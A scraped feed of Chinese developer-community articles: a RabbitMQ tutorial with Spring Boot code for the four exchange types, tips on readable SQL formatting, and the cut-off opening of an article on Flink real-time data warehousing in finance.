    • 削峰。如图所示。这其实是MQ一个很重要的应用。假设系统A在某一段时间请求数暴增,有5000个请求发送过来,系统A这时就会发送5000条SQL进入MySQL进行执行,MySQL对于如此庞大的请求当然处理不过来,MySQL就会崩溃,导致系统瘫痪。如果使用MQ,系统A不再是直接发送SQL到数据库,而是把数据发送到MQ,MQ短时间积压数据是可以接受的,然后由消费者每次拉取2000条进行处理,防止在请求峰值时期大量的请求直接发送到MySQL导致系统崩溃

    三、RabbitMQ的特点

    RabbitMQ是一款使用Erlang语言开发的,实现AMQP(高级消息队列协议)的开源消息中间件。首先要知道一些RabbitMQ的特点,官网可查:

    • 可靠性。支持持久化,传输确认,发布确认等保证了MQ的可靠性。
    • 灵活的分发消息策略。这应该是RabbitMQ的一大特点。在消息进入MQ前由Exchange(交换机)进行路由消息。分发消息策略有:简单模式、工作队列模式、发布订阅模式、路由模式、通配符模式。
    • 支持集群。多台RabbitMQ服务器可以组成一个集群,形成一个逻辑Broker。
    • 多种协议。RabbitMQ支持多种消息队列协议,比如 STOMP、MQTT 等等。
    • 支持多种语言客户端。RabbitMQ几乎支持所有常用编程语言,包括 Java、.NET、Ruby 等等。
    • 可视化管理界面。RabbitMQ提供了一个易用的用户界面,使得用户可以监控和管理消息 Broker。
    • 插件机制。RabbitMQ提供了许多插件,可以通过插件进行扩展,也可以编写自己的插件。

    四、RabbitMQ初の体验

    4.1 安装RabbitMQ (Win10系统)

    由于只是学习需要,所以安装在win10系统,就懒得开虚拟机。如果用Linux系统安装的话,我建议用Docker拉一个RabbitMQ的镜像下来,这样会方便一点。

    4.1.1 安装erLang语言,配置环境变量

    首先到erlang官网下载win10版安装包。

    下载完之后,就得到这个东西:

    接着双击安装,一直点next(下一步)就行了,安装完之后,配置环境变量。

    使用cmd命令,输入 erl -version 验证:

    4.1.2 安装RabbitMQ服务端

    在RabbitMQ的gitHub项目中,下载window版本的服务端安装包。

    下载后,就得到这个东西:

    接着到双击安装,一直点下一步安装即可,安装完成后,找到安装目录:

    在此目录下打开cmd命令,输入rabbitmq-plugins enable rabbitmq_management命令安装管理页面的插件:

    然后双击rabbitmq-server.bat启动脚本,然后打开服务管理可以看到RabbitMQ正在运行:

    这时,打开浏览器输入http://localhost:15672,账号密码默认是:guest/guest

    到这一步,安装就大功告成了!

    4.2 永远的Hello Word

    服务端搭建好了之后肯定要用客户端去操作,接下来就用Java做一个简单的HelloWord演示。

    因为我用的是SpringBoot,所以在生产者这边加入对应的starter依赖即可:

    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-amqp</artifactId>
    </dependency>

    一般需要创建一个公共项目common,共享一些配置,比如队列主题,交换机名称,路由匹配键名称等等。

    首先在application.yml文件加上RabbitMQ的配置信息:

    spring:
        rabbitmq:
            host: 127.0.0.1
            port: 5672
            username: guest
            password: guest

    然后再生产者这边,加上common包的maven依赖,然后创建一个Direct交换机以及队列的配置类:

    @Configuration
    public class DirectRabbitConfig {
        @Bean
        public Queue rabbitmqDemoDirectQueue() {
            /**
             * 1、name:    队列名称
             * 2、durable: 是否持久化
             * 3、exclusive: 是否独享、排外的。如果设置为true,定义为排他队列。则只有创建者可以使用此队列。也就是private私有的。
             * 4、autoDelete: 是否自动删除。也就是临时队列。当最后一个消费者断开连接后,会自动删除。
             * */
            return new Queue(RabbitMQConfig.RABBITMQ_DEMO_TOPIC, true, false, false);
        }
        
        @Bean
        public DirectExchange rabbitmqDemoDirectExchange() {
            //Direct交换机
            return new DirectExchange(RabbitMQConfig.RABBITMQ_DEMO_DIRECT_EXCHANGE, true, false);
        }
    
        @Bean
        public Binding bindDirect() {
            //链式写法,绑定交换机和队列,并设置匹配键
            return BindingBuilder
                    //绑定队列
                    .bind(rabbitmqDemoDirectQueue())
                    //到交换机
                    .to(rabbitmqDemoDirectExchange())
                    //并设置匹配键
                    .with(RabbitMQConfig.RABBITMQ_DEMO_DIRECT_ROUTING);
        }
    }

    然后再创建一个发送消息的Service类:

    @Service
    public class RabbitMQServiceImpl implements RabbitMQService {
        //日期格式化
        private static SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
    
        @Resource
        private RabbitTemplate rabbitTemplate;
    
        @Override
        public String sendMsg(String msg) throws Exception {
            try {
                String msgId = UUID.randomUUID().toString().replace("-", "").substring(0, 32);
                String sendTime = sdf.format(new Date());
                Map<String, Object> map = new HashMap<>();
                map.put("msgId", msgId);
                map.put("sendTime", sendTime);
                map.put("msg", msg);
                rabbitTemplate.convertAndSend(RabbitMQConfig.RABBITMQ_DEMO_DIRECT_EXCHANGE, RabbitMQConfig.RABBITMQ_DEMO_DIRECT_ROUTING, map);
                return "ok";
            } catch (Exception e) {
                e.printStackTrace();
                return "error";
            }
        }
    }

    然后根据业务放在需要用的地方,比如定时任务,或者接口。我这里就简单一点使用Controller层进行发送:

    @RestController
    @RequestMapping("/mall/rabbitmq")
    public class RabbitMQController {
        @Resource
        private RabbitMQService rabbitMQService;
        /**
         * 发送消息
         * @author java技术爱好者
         */
        @PostMapping("/sendMsg")
        public String sendMsg(@RequestParam(name = "msg") String msg) throws Exception {
            return rabbitMQService.sendMsg(msg);
        }
    }

    生产者写完之后,就写消费者端的代码,消费者很简单。maven依赖,yml文件配置和生产者一样。只需要创建一个类,@RabbitListener注解写上监听队列的名称,如图所示:

    这里有个小坑,一开始RabbitMQ服务器里还没有创建队列:

    这时如果启动消费者,会报错:

    要先启动生产者,发送一条消息:

    最后再启动消费者,进行消费:

    这时候就会持续监听队列的消息,只要生产者发送一条消息到MQ,消费者就消费一条。我这里尝试发送4条:

    由于队列不存在,启动消费者报错的这个问题。最好的方法是生产者和消费者都尝试创建队列,怎么写呢,有很多方式,我这里用一个相对简单一点的:

    生产者的配置类加点东西:

    //实现BeanPostProcessor类,使用Bean的生命周期函数
    @Component
    public class DirectRabbitConfig implements BeanPostProcessor {
        //这是创建交换机和队列用的rabbitAdmin对象
        @Resource
        private RabbitAdmin rabbitAdmin;
        
        //初始化rabbitAdmin对象
        @Bean
        public RabbitAdmin rabbitAdmin(ConnectionFactory connectionFactory) {
            RabbitAdmin rabbitAdmin = new RabbitAdmin(connectionFactory);
            // 只有设置为 true,spring 才会加载 RabbitAdmin 这个类
            rabbitAdmin.setAutoStartup(true);
            return rabbitAdmin;
        }
        
        //实例化bean后,也就是Bean的后置处理器
        @Override
        public Object postProcessAfterInitialization(Object bean, String beanName) throws BeansException {
            //创建交换机
            rabbitAdmin.declareExchange(rabbitmqDemoDirectExchange());
            //创建队列
            rabbitAdmin.declareQueue(rabbitmqDemoDirectQueue());
            return null;
        }
    }

    这样启动生产者就会自动创建交换机和队列,不用等到发送消息才创建。

    消费者需要加一点代码:

    @Component
    //使用queuesToDeclare属性,如果不存在则会创建队列
    @RabbitListener(queuesToDeclare = @Queue(RabbitMQConfig.RABBITMQ_DEMO_TOPIC))
    public class RabbitDemoConsumer {
        //...省略
    }

    这样,无论生产者还是消费者先启动都不会出现问题了~

    代码地址:https://github.com/yehongzhi/mall

    五、RabbitMQ中的组成部分

    从上面的HelloWord例子中,我们大概也能体验到一些,就是RabbitMQ的组成,它是有这几部分:

    • Broker:消息队列服务进程。此进程包括两个部分:Exchange和Queue。
    • Exchange:消息队列交换机。按一定的规则将消息路由转发到某个队列
    • Queue:消息队列,存储消息的队列。
    • Producer:消息生产者。生产方客户端将消息同交换机路由发送到队列中。
    • Consumer:消息消费者。消费队列中存储的消息。

    这些组成部分是如何协同工作的呢,大概的流程如下,请看下图:

    • 消息生产者连接到RabbitMQ Broker,创建connection,开启channel。
    • 生产者声明交换机类型、名称、是否持久化等。
    • 生产者发送消息,并指定消息是否持久化等属性和routing key。
    • exchange收到消息之后,根据routing key路由到跟当前交换机绑定的相匹配的队列里面。
    • 消费者监听接收到消息之后开始业务处理。

    六、Exchange的四种类型以及用法

    从上面的工作流程可以看出,实际上有个关键的组件Exchange,因为消息发送到RabbitMQ后首先要经过Exchange路由才能找到对应的Queue

    实际上Exchange类型有四种,根据不同的类型工作的方式也有所不同。在HelloWord例子中,我们就使用了比较简单的Direct Exchange,翻译就是直连交换机。其余三种分别是:Fanout exchange、Topic exchange、Headers exchange

    6.1 Direct Exchange

    见文知意,直连交换机意思是此交换机需要绑定一个队列,要求该消息与一个特定的路由键完全匹配。简单点说就是一对一的,点对点的发送。

    完整的代码就是上面的HelloWord的例子,不再重复代码。

    6.2 Fanout exchange

    这种类型的交换机需要将队列绑定到交换机上。一个发送到交换机的消息都会被转发到与该交换机绑定的所有队列上。很像子网广播,每台子网内的主机都获得了一份复制的消息。简单点说就是发布订阅。

    代码怎么写呢,演示一下:

    首先要先配置交换机和队列的名称:

    public class RabbitMQConfig {
        /**
         * RabbitMQ的FANOUT_EXCHANG交换机类型的队列 A 的名称
         */
        public static final String FANOUT_EXCHANGE_QUEUE_TOPIC_A = "fanout.A";
    
        /**
         * RabbitMQ的FANOUT_EXCHANG交换机类型的队列 B 的名称
         */
        public static final String FANOUT_EXCHANGE_QUEUE_TOPIC_B = "fanout.B";
    
        /**
         * RabbitMQ的FANOUT_EXCHANG交换机类型的名称
         */
        public static final String FANOUT_EXCHANGE_DEMO_NAME = "fanout.exchange.demo.name";
    
    }

    再配置FanoutExchange类型的交换机和A、B两个队列,并且绑定。这种类型不需要配置routing key:

    @Component
    public class DirectRabbitConfig implements BeanPostProcessor {
        @Resource
        private RabbitAdmin rabbitAdmin;
        
        @Bean
        public Queue fanoutExchangeQueueA() {
            //队列A
            return new Queue(RabbitMQConfig.FANOUT_EXCHANGE_QUEUE_TOPIC_A, true, false, false);
        }
    
        @Bean
        public Queue fanoutExchangeQueueB() {
            //队列B
            return new Queue(RabbitMQConfig.FANOUT_EXCHANGE_QUEUE_TOPIC_B, true, false, false);
        }
    
        @Bean
        public FanoutExchange rabbitmqDemoFanoutExchange() {
            //创建FanoutExchange类型交换机
            return new FanoutExchange(RabbitMQConfig.FANOUT_EXCHANGE_DEMO_NAME, true, false);
        }
    
        @Bean
        public Binding bindFanoutA() {
            //队列A绑定到FanoutExchange交换机
            return BindingBuilder.bind(fanoutExchangeQueueA()).to(rabbitmqDemoFanoutExchange());
        }
    
        @Bean
        public Binding bindFanoutB() {
            //队列B绑定到FanoutExchange交换机
            return BindingBuilder.bind(fanoutExchangeQueueB()).to(rabbitmqDemoFanoutExchange());
        }
        
        @Override
        public Object postProcessAfterInitialization(Object bean, String beanName) throws BeansException {
            //启动项目即创建交换机和队列
            rabbitAdmin.declareExchange(rabbitmqDemoFanoutExchange());
            rabbitAdmin.declareQueue(fanoutExchangeQueueB());
            rabbitAdmin.declareQueue(fanoutExchangeQueueA());
            return null;
        }
    }

    创建service发布消息的方法:

    @Service
    public class RabbitMQServiceImpl implements RabbitMQService {
        private static SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
    
        @Resource
        private RabbitTemplate rabbitTemplate;
        
        //发布消息
        @Override
        public String sendMsgByFanoutExchange(String msg) throws Exception {
            Map<String, Object> message = getMessage(msg);
            try {
                rabbitTemplate.convertAndSend(RabbitMQConfig.FANOUT_EXCHANGE_DEMO_NAME, "", message);
                return "ok";
            } catch (Exception e) {
                e.printStackTrace();
                return "error";
            }
        }
        //组装消息体
        private Map<String, Object> getMessage(String msg) {
            String msgId = UUID.randomUUID().toString().replace("-", "").substring(0, 32);
            String sendTime = sdf.format(new Date());
            Map<String, Object> map = new HashMap<>();
            map.put("msgId", msgId);
            map.put("sendTime", sendTime);
            map.put("msg", msg);
            return map;
        }
    }

    Controller接口:

    @RestController
    @RequestMapping("/mall/rabbitmq")
    public class RabbitMQController {
        /**
         * 发布消息
         *
         * @author java技术爱好者
         */
        @PostMapping("/publish")
        public String publish(@RequestParam(name = "msg") String msg) throws Exception {
            return rabbitMQService.sendMsgByFanoutExchange(msg);
        }
    }

    接着在消费者项目这边,创建两个队列的监听类,监听队列进行消费:

    @Component
    @RabbitListener(queuesToDeclare = @Queue(RabbitMQConfig.FANOUT_EXCHANGE_QUEUE_TOPIC_A))
    public class FanoutExchangeConsumerA {
    
        @RabbitHandler
        public void process(Map<String, Object> map) {
            System.out.println("队列A收到消息:" + map.toString());
        }
    
    }
    @Component
    @RabbitListener(queuesToDeclare = @Queue(RabbitMQConfig.FANOUT_EXCHANGE_QUEUE_TOPIC_B))
    public class FanoutExchangeConsumerB {
    
        @RabbitHandler
        public void process(Map<String, Object> map) {
            System.out.println("队列B收到消息:" + map.toString());
        }
    }

    然后启动生产者和消费者两个项目,可以看到管理界面创建了一个FanoutExchange交换机和两个队列,并且绑定了:

    使用POSTMAN进行发送消息,测试:

    然后可以看到控制台,两个队列同时都收到了相同的消息,形成了发布订阅的效果:

    6.3 Topic Exchange

    直接翻译的话叫做主题交换机,如果从用法上面翻译可能叫通配符交换机会更加贴切。这种交换机是使用通配符去匹配,路由到对应的队列。通配符有两种:"*" 、 "#"。需要注意的是通配符前面必须要加上"."符号。

    * 符号:有且只匹配一个词。比如 a.*可以匹配到"a.b"、"a.c",但是匹配不了"a.b.c"。

    # 符号:匹配一个或多个词。比如"rabbit.#"既可以匹配到"rabbit.a.b"、"rabbit.a",也可以匹配到"rabbit.a.b.c"。

    废话不多说,代码演示一下:

    依然是配置TopicExchange名称和三个队列的名称:

        /**
         * RabbitMQ的TOPIC_EXCHANGE交换机名称
         */
        public static final String TOPIC_EXCHANGE_DEMO_NAME = "topic.exchange.demo.name";
    
        /**
         * RabbitMQ的TOPIC_EXCHANGE交换机的队列A的名称
         */
        public static final String TOPIC_EXCHANGE_QUEUE_A = "topic.queue.a";
    
        /**
         * RabbitMQ的TOPIC_EXCHANGE交换机的队列B的名称
         */
        public static final String TOPIC_EXCHANGE_QUEUE_B = "topic.queue.b";
    
        /**
         * RabbitMQ的TOPIC_EXCHANGE交换机的队列C的名称
         */
        public static final String TOPIC_EXCHANGE_QUEUE_C = "topic.queue.c";

    然后还是老配方,配置交换机和队列,然后绑定,创建:

    @Component
    public class DirectRabbitConfig implements BeanPostProcessor {
        //省略...
        
        @Bean
        public TopicExchange rabbitmqDemoTopicExchange() {
            //配置TopicExchange交换机
            return new TopicExchange(RabbitMQConfig.TOPIC_EXCHANGE_DEMO_NAME, true, false);
        }
    
        @Bean
        public Queue topicExchangeQueueA() {
            //创建队列1
            return new Queue(RabbitMQConfig.TOPIC_EXCHANGE_QUEUE_A, true, false, false);
        }
    
        @Bean
        public Queue topicExchangeQueueB() {
            //创建队列2
            return new Queue(RabbitMQConfig.TOPIC_EXCHANGE_QUEUE_B, true, false, false);
        }
    
        @Bean
        public Queue topicExchangeQueueC() {
            //创建队列3
            return new Queue(RabbitMQConfig.TOPIC_EXCHANGE_QUEUE_C, true, false, false);
        }
    
        @Bean
        public Binding bindTopicA() {
            //队列A绑定到FanoutExchange交换机
            return BindingBuilder.bind(topicExchangeQueueB())
                    .to(rabbitmqDemoTopicExchange())
                    .with("a.*");
        }
    
        @Bean
        public Binding bindTopicB() {
            //队列A绑定到FanoutExchange交换机
            return BindingBuilder.bind(topicExchangeQueueC())
                    .to(rabbitmqDemoTopicExchange())
                    .with("a.*");
        }
    
        @Bean
        public Binding bindTopicC() {
            //队列A绑定到FanoutExchange交换机
            return BindingBuilder.bind(topicExchangeQueueA())
                    .to(rabbitmqDemoTopicExchange())
                    .with("rabbit.#");
        }
        
        @Override
        public Object postProcessAfterInitialization(Object bean, String beanName) throws BeansException {
            rabbitAdmin.declareExchange(rabbitmqDemoTopicExchange());
            rabbitAdmin.declareQueue(topicExchangeQueueA());
            rabbitAdmin.declareQueue(topicExchangeQueueB());
            rabbitAdmin.declareQueue(topicExchangeQueueC());
            return null;
        }
    }

    然后写一个发送消息的service方法:

    @Service
    public class RabbitMQServiceImpl implements RabbitMQService {
        @Override
        public String sendMsgByTopicExchange(String msg, String routingKey) throws Exception {
            Map<String, Object> message = getMessage(msg);
            try {
                //发送消息
                rabbitTemplate.convertAndSend(RabbitMQConfig.TOPIC_EXCHANGE_DEMO_NAME, routingKey, message);
                return "ok";
            } catch (Exception e) {
                e.printStackTrace();
                return "error";
            }
        }
    }

    写一个Controller接口:

    @RestController
    @RequestMapping("/mall/rabbitmq")
    public class RabbitMQController {
        @Resource
        private RabbitMQService rabbitMQService;
        
        /**
         * 通配符交换机发送消息
         *
         * @author java技术爱好者
         */
        @PostMapping("/topicSend")
        public String topicSend(@RequestParam(name = "msg") String msg, @RequestParam(name = "routingKey") String routingKey) throws Exception {
            return rabbitMQService.sendMsgByTopicExchange(msg, routingKey);
        }
    }

    生产者这边写完,就写消费端,消费端比较简单,写三个监听类:

    @Component
    @RabbitListener(queuesToDeclare = @Queue(RabbitMQConfig.TOPIC_EXCHANGE_QUEUE_A))
    public class TopicExchangeConsumerA {
    
        @RabbitHandler
        public void process(Map<String, Object> map) {
            System.out.println("队列[" + RabbitMQConfig.TOPIC_EXCHANGE_QUEUE_A + "]收到消息:" + map.toString());
        }
    }
    
    @Component
    @RabbitListener(queuesToDeclare = @Queue(RabbitMQConfig.TOPIC_EXCHANGE_QUEUE_B))
    public class TopicExchangeConsumerB {
    
        @RabbitHandler
        public void process(Map<String, Object> map) {
            System.out.println("队列[" + RabbitMQConfig.TOPIC_EXCHANGE_QUEUE_B+ "]收到消息:" + map.toString());
        }
    }
    
    @Component
    @RabbitListener(queuesToDeclare = @Queue(RabbitMQConfig.TOPIC_EXCHANGE_QUEUE_C))
    public class TopicExchangeConsumerC {
    
        @RabbitHandler
        public void process(Map<String, Object> map) {
            System.out.println("队列[" + RabbitMQConfig.TOPIC_EXCHANGE_QUEUE_C + "]收到消息:" + map.toString());
        }
    }

    大功告成,然后启动项目开始调试。启动成功后可以看到队列和路由键绑定的关系:

    通过POSTMAN进行测试,测试一下 rabbit.# 的路由键是否能够匹配成功:

    测试成功,队列A消费到消息:

    接着测试 a.* 路由键,发送 routingKey = a.b :

    比较常用的就是以上三种:直连(DirectExchange),发布订阅(FanoutExchange),通配符(TopicExchange)。熟练运用这三种交换机类型,基本上可以解决大部分的业务场景。

    实际上稍微思考一下,可以发现通配符(TopicExchange)这种模式其实是可以达到直连(DirectExchange)和发布订阅(FanoutExchange)这两种的效果的。

    FanoutExchange不需要绑定routingKey,所以性能相对TopicExchange会好一点。

    6.4 Headers Exchange

    这种交换机用的相对没这么多。它跟上面三种有点区别,它的路由不是用routingKey进行路由匹配,而是在匹配请求头中所带的键值进行路由。如图所示:

    创建队列需要设置绑定的头部信息,有两种模式:全部匹配和部分匹配。如上图所示,交换机会根据生产者发送过来的头部信息携带的键值去匹配队列绑定的键值,路由到对应的队列。代码怎么实现呢,往下看演示代码:

    首先还是需要定义交换机名称,队列名称:

        /**
         * HEADERS_EXCHANGE交换机名称
         */
        public static final String HEADERS_EXCHANGE_DEMO_NAME = "headers.exchange.demo.name";
    
        /**
         * RabbitMQ的HEADERS_EXCHANGE交换机的队列A的名称
         */
        public static final String HEADERS_EXCHANGE_QUEUE_A = "headers.queue.a";
    
        /**
         * RabbitMQ的HEADERS_EXCHANGE交换机的队列B的名称
         */
        public static final String HEADERS_EXCHANGE_QUEUE_B = "headers.queue.b";

    然后设置交换机,队列,进行绑定:

    @Component
    public class DirectRabbitConfig implements BeanPostProcessor {
        @Bean
        public Queue headersQueueA() {
            return new Queue(RabbitMQConfig.HEADERS_EXCHANGE_QUEUE_A, true, false, false);
        }
    
        @Bean
        public Queue headersQueueB() {
            return new Queue(RabbitMQConfig.HEADERS_EXCHANGE_QUEUE_B, true, false, false);
        }
    
        @Bean
        public HeadersExchange rabbitmqDemoHeadersExchange() {
            return new HeadersExchange(RabbitMQConfig.HEADERS_EXCHANGE_DEMO_NAME, true, false);
        }
    
        @Bean
        public Binding bindHeadersA() {
            Map<String, Object> map = new HashMap<>();
            map.put("key_one", "java");
            map.put("key_two", "rabbit");
            //全匹配
            return BindingBuilder.bind(headersQueueA())
                    .to(rabbitmqDemoHeadersExchange())
                    .whereAll(map).match();
        }
    
        @Bean
        public Binding bindHeadersB() {
            Map<String, Object> map = new HashMap<>();
            map.put("headers_A", "coke");
            map.put("headers_B", "sky");
            //部分匹配
            return BindingBuilder.bind(headersQueueB())
                    .to(rabbitmqDemoHeadersExchange())
                    .whereAny(map).match();
        }
    
        @Override
        public Object postProcessAfterInitialization(Object bean, String beanName) throws BeansException {
            rabbitAdmin.declareExchange(rabbitmqDemoHeadersExchange());
            rabbitAdmin.declareQueue(headersQueueA());
            rabbitAdmin.declareQueue(headersQueueB());
            return null;
        }
    }

    再写一个Service方法发送消息:

    @Service
    public class RabbitMQServiceImpl implements RabbitMQService {
        @Resource
        private RabbitTemplate rabbitTemplate;
        
        @Override
        public String sendMsgByHeadersExchange(String msg, Map<String, Object> map) throws Exception {
            try {
                MessageProperties messageProperties = new MessageProperties();
                //消息持久化
                messageProperties.setDeliveryMode(MessageDeliveryMode.PERSISTENT);
                messageProperties.setContentType("UTF-8");
                //添加消息
                messageProperties.getHeaders().putAll(map);
                Message message = new Message(msg.getBytes(), messageProperties);
                rabbitTemplate.convertAndSend(RabbitMQConfig.HEADERS_EXCHANGE_DEMO_NAME, null, message);
                return "ok";
            } catch (Exception e) {
                e.printStackTrace();
                return "error";
            }
        }
    }

    再写一个Controller接口:

    @RestController
    @RequestMapping("/mall/rabbitmq")
    public class RabbitMQController {
        @Resource
        private RabbitMQService rabbitMQService;
        
        @PostMapping("/headersSend")
        @SuppressWarnings("unchecked")
        public String headersSend(@RequestParam(name = "msg") String msg,
                                  @RequestParam(name = "json") String json) throws Exception {
            ObjectMapper mapper = new ObjectMapper();
            Map<String, Object> map = mapper.readValue(json, Map.class);
            return rabbitMQService.sendMsgByHeadersExchange(msg, map);
        }
    }

    生产者这边写完了,再写两个队列的监听类进行消费:

    @Component
    public class HeadersExchangeConsumerA {
        @RabbitListener(queuesToDeclare = @Queue(RabbitMQConfig.HEADERS_EXCHANGE_QUEUE_A))
        public void process(Message message) throws Exception {
            MessageProperties messageProperties = message.getMessageProperties();
            String contentType = messageProperties.getContentType();
            System.out.println("队列[" + RabbitMQConfig.HEADERS_EXCHANGE_QUEUE_A + "]收到消息:" + new String(message.getBody(), contentType));
        }
    }
    
    @Component
    public class HeadersExchangeConsumerB {
        @RabbitListener(queuesToDeclare = @Queue(RabbitMQConfig.HEADERS_EXCHANGE_QUEUE_B))
        public void process(Message message) throws Exception {
            MessageProperties messageProperties = message.getMessageProperties();
            String contentType = messageProperties.getContentType();
            System.out.println("队列[" + RabbitMQConfig.HEADERS_EXCHANGE_QUEUE_B + "]收到消息:" + new String(message.getBody(), contentType));
        }
    }

    大功告成~启动项目,打开管理界面,我们可以看到交换机绑定队列的信息:

    跟上面示意图一样~证明没有问题,一切尽在掌握之中。使用POSTMAN发送,测试全匹配的队列A:

    再测试部分匹配的队列B:

    总结

    这篇文章就先写到这里了。回顾一下学了哪些:

    • 什么是消息队列?为什么使用消息队列?
    • RabbitMQ的特点、组成部分、工作流程
    • 安装RabbitMQ,以及完成一个HelloWord小案例
    • RabbitMQ交换机的四种类型的特点,以及使用方法

    实际上RabbitMQ还有事务机制和负载均衡这些还没讲,因为篇幅实在有点长了,差不多5千字了。所以放在下期讲吧,尽请期待一下。

    上面所有例子的代码都上传github了:

    https://github.com/yehongzhi/mall

    如果你觉得这篇文章对你有用,点个赞吧~

    你的点赞是我创作的最大动力~

    想第一时间看到我更新的文章,可以微信搜索公众号「java技术爱好者」,拒绝做一条咸鱼,我是一个努力让大家记住的程序员。我们下期再见!!!

    能力有限,如果有什么错误或者不当之处,请大家批评指正,一起学习交流!

    ]]>
    使SQL更易于阅读的几个小技巧-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800


     



    无论是数仓开发还是数据分析,写一手好的SQL是一项基本的技能。毋庸置疑,编写性能较好的SQL是非常重要的,但是,SQL的可读性同样是不容小觑的。一个有着混乱格式的SQL脚本,往往需要花费较长的时间去弄清楚脚本的具体逻辑。如果你曾经被祖传的毫无章法的SQL脚本狂虐过,你一定心有感触。本文将分享几个SQL格式的规范,当然仁者见仁智者见智,其实没有严格的标准,如果有,那就是保证易于阅读和易于维护。


    大小写保持一致


    可以对SQL关键字使用不同的大小写,但是要保持一致。看看这个:


    SELECT customer_city,count(*) from dim_customer WHERE customerProvince = '上海' Group by customer_city

    上面的SQL语句是不是很让人抓狂,大小写混用,看起来很不规范。总结起来,要注意下面几点:



    • SQL的关键字可以大写,也可以小写,但是不要大小写混用。上面的SQL查询既有完全大写,也有首字母大写,更有小写。看似是不拘小节,但是万万使不得。
    • 由于大小写是混合的,因此很难区分小写的关键字实际上是关键字还是列。此外,阅读也很烦人。
    • 字段命名要保持一致的风格,上面的SQL与中customer_city是小写加下划线,而customerProvince字段是驼峰命名法,这种不一致性显然是不可取的。

    进行一些规范之后后,查询应如下所示:


    SELECT customer_city,
       count(*)

    FROM dim_customer
    WHERE customer_province = '上海'
    GROUP BY customer_city


    使用缩进


    再来看看下面的一条查询语句:


    SELECT dp.region_name,count(*) FROM user_behavior_log ubl JOIN dim_province dp ON ubl.province = dp.province_name WHERE ubl.province = '上海市' GROUP BY dp.region_name

    将上面的SQL语句格式化下面的形式:


    SELECT dp.region_name, count(*)
    FROM user_behavior_log ubl
    JOIN dim_province dp ON ubl.province = dp.province_name
    WHERE ubl.province = '上海市'
    GROUP BY dp.region_name

    上面的格式化形式似乎清晰了很多,但是如果语句中包含了子查询、多个JOIN以及窗口函数时,同样会显得对阅读不是很友好。


    再换一种格式化方式,如下:


    SELECT
    dp.region_name, 
    count(*)

    FROM user_behavior_log ubl

    JOIN dim_province dp ON ubl.province = dp.province_name

    WHERE ubl.province = '上海市'
    GROUP BY

    dp.region_name
    

    -- 或者下面的形式
    SELECT

    dp.region_name 
    ,count(*)

    FROM user_behavior_log ubl

    JOIN dim_province dp ON ubl.province = dp.province_name

    WHERE ubl.province = '上海市'
    GROUP BY

    dp.region_name</code></pre>

    尖叫提示:对于第二种形式,在SELECT字段中,从第二个字段开始,每个字段前面添加一个逗号,而不是每个字段后面使用逗号结尾。这种方式可以很方便地识别FROM前面是否存在逗号,从而造成语法错误。当然,这个只是个人习惯问题,并不是硬性的规定。


    另外上面的SQL语句使用了4个字符缩进,当然也可以选择2个字符缩进,这个也是个人习惯问题。


    在group by 和order by之后使用字段的排列序号


    同样,这种书写风格也是个人的一种偏好,并不是一条硬性规定。应该有很多的初学者对此种写法并不是很清楚。


    看下面的这条SQL:


    SELECT
    dp.region_name, 
    dp.province_name,
    count(*)

    FROM user_behavior_log ubl

    JOIN dim_province dp ON ubl.province = dp.province_name

    GROUP BY

    dp.region_name,
    dp.province_name

    ORDER BY

    count(*) desc -- Hive不支持</code></pre>

    可以写成下面的形式:


    -- 注意:MySQL、Impala支持这种写法,Hive不支持

    SELECT

    dp.region_name, 
    dp.province_name,
    count(*)

    FROM user_behavior_log ubl

    JOIN dim_province dp ON ubl.province = dp.province_name

    GROUP BY 1,2
    ORDER BY 3


    这样写有如下的好处:



    可以节省行:通过许多字段进行分组不仅会在SELECT子句中添加更多行,还会在GROUP BY和ORDER BY子句中添加更多行,甚至可能使查询中的行数增加一倍。
    可维护性:如果想改变分组字段,只需在SELECT子句中进行操作,在GROUP BY语句中不需要修改。
    方便:只需要GROUP BY 1,2,3,…,n,其中n为分组列的字段序号。

    使用Common Table表达式(with语句)


    该方式称之为Common Table Expressions(CTE),用来简化复杂查询。它们可以定义为临时视图,因为它们仅在整个查询执行期间存在。


    看一个简单的例子:


    -- 注意Hive、Impala支持这种语法,低版本的MySQL不支持(高版本支持)
    WITH employee_by_title_count AS (
    SELECT
        t.name as job_title
        , COUNT(e.id) as amount_of_employees
    FROM employees e
        JOIN job_titles t on e.job_title_id = t.id
    GROUP BY 1

    ),
    salaries_by_title AS (

     SELECT
         name as job_title
         , salary
     FROM job_titles

    )
    SELECT *
    FROM employee_by_title_count e

    JOIN salaries_by_title s ON s.job_title = e.job_title</code></pre>

    上面的语句中,最终的查询使用employee_by_title和salaries_by_title的两个结果集进行JOIN产生最终结果。这比在SELECT子句中或直接在FROM子句中进行子查询更具可读性和可维护性。


    使用具有描述性的别名


    这一点非常重要,如果查询的列字段很多,肯能会存在一些id,count(*)等,很难辨识代表什么含义,所以需要为每个查询列加上可读的、易于理解的别名,能够让其他人一眼就能看出代表什么含义,这样可以增加脚本的可维护性。


    总结


    文中提到的一些规范有些是必须要遵守的,有些是个人的编码习惯,无论你是开发人员、数据分析师、数仓开发,遵循一些规范可以避免不必要的麻烦。值得注意的是,关于SQL的格式,没有一个标准的约定,需要与团队的其他成员达成共识,一起按照相同的约定进行开发,从而可以大大提高脚本的可读性和可维护性。





    本文作者:西贝木土



    ]]>
    【最佳实践】实时计算 Flink 版在金融行业的实时数仓建设实践-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 行业背景
    • 行业现状: 

    金融是现代经济的核心。我国金融业在市场化改革和对外开放中不断发展,金融总量大幅增长。金融稳定直接关系到国家经济发展的前途和命运,金融业是国民经济发展的晴雨表。对我国金融业发展现状进行客观分析,对金融业发展趋势进行探索,有助于消除金融隐患,使金融业朝着健康、有序方向发展。

    • 大数据在其行业中的作用:

      1. 金融服务和产品创新:借助社交网络等平台产生的海量用户和数据记录着用户群体的兴趣和偏好情绪等信息, 对客户行为模式进行分析,可以带来更贴近客户需求的产品创新。
      2. 增强用户体验:通过大数据分析对客户进行画像,结合客户画像特征,为用户提供个性化服务,增强用户体验。

    业务场景

    某保险公司开发了个金融类APP,该公司在APP中会投放保险广告、发布优惠活动,用户通过APP进行投保等操作。
    业务的构建涉及到几个端:

    1. APP:应用程序,用户访问入口,用户通过APP点击浏览保险广告、优惠活动等,并进行投保下单。
    2. 后台系统:

